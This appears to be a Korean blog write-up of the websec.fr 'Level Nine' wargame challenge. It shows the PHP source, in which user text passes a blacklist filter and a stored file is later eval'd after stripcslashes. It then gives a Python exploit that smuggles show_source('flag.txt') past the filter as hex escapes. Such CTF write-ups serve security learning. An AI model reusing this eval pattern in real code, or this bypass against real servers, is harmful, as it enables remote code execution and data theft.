source.php
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
if( isset ($_GET['submit']) && isset ($_GET['c'])) {
$randVal = sha1 (time ());
setcookie ('session_id', $randVal, time () + 2, '', '', true, true);
try {
$fh = fopen('/tmp/' . $randVal, 'w');
fwrite (
$fh,
str_replace (
['<?', '?>', '"', "'", '$', '&', '|', '{', '}', ';', '#', ':', '#', ']', '[', ',', '%', '(', ')'],
'',
$_GET['c']
)
);
fclose($fh);
} catch (Exception $e) {
var_dump ($e->getMessage ());
}
}
if (isset ($_GET['cache_file'])) {
if (file_exists ($_GET['cache_file'])) {
echo eval (stripcslashes (file_get_contents ($_GET['cache_file'])));
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>#WebSec Level Nine</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
<body>
<!-- Congrats to sine who found a very interesting and innovative way to exploit this! -->
<!-- A fine level by Mantis -->
<div id="main">
<div class="container">
<div class="row">
<h1>Level Nine <small>- Expect the unexpected output from a function</small></h1>
</div>
<div class="row">
<p class="lead">
This is our super <em>store'n'exec</em> service. You can store text, and <em>try</em> to get it executed
to read the <code>flag.txt</code> file.<br>
You can take a look at the the source code <a href="source.php">here</a>.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form action="" method="get" class="form-inline">
<label class="sr-only" for="c">Your text to store.</label>
<input type="text" id="c" class='form-control' name="c" placeholder="Your text to store">
<button type="submit" value="Submit" name="submit" class="btn btn-default">store</button>
</form>
</div>
</div>
</div>
</body>
</html>
sandbox를 거쳐 파일 내용을 저장하고 해당 파일 내용을 불러와 eval로 실행한다. 이 때 파일내용 부른 후 eval 실행 전 딱봐도 굳이 없어도 될만한 함수를 쓰는걸 볼 수 있다. stripcslashes함수로 제거되는 \를 가지고 뭘 할 수 있는지 생각해보면 딱 그냥 떠오르는게 16진수다. 이걸로 sandbox우회해서 문자열 삽입해주면 된다.
exploit.py
import requests
def exploit(payload):
url = "http://websec.fr/level09/index.php"
params = {"c":payload,"submit":"Submit"}
result = requests.get(url,params=params).headers['Set-Cookie']
end = result.find("; expires")
return result[11:end]
def getFlag(path):
url = "http://websec.fr/level09/index.php"
params = {"cache_file":"/tmp/"+path}
result = requests.get(url,params=params).text
print result
payload = "show_source('flag.txt');".encode("hex")
hex_payload = ""
for i in range(0,len(payload),2):
hex_payload += "\\x"+payload[i:i+2]
path = exploit(hex_payload)
getFlag(path)
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr medium level 31 (0) | 2019.08.23 |
---|---|
websec.fr medium level 18 (0) | 2019.08.23 |
websec.fr medium level 05 (0) | 2019.08.23 |
websec.fr medium level 03 (0) | 2019.08.23 |
websec.fr easy level 24 (0) | 2019.08.22 |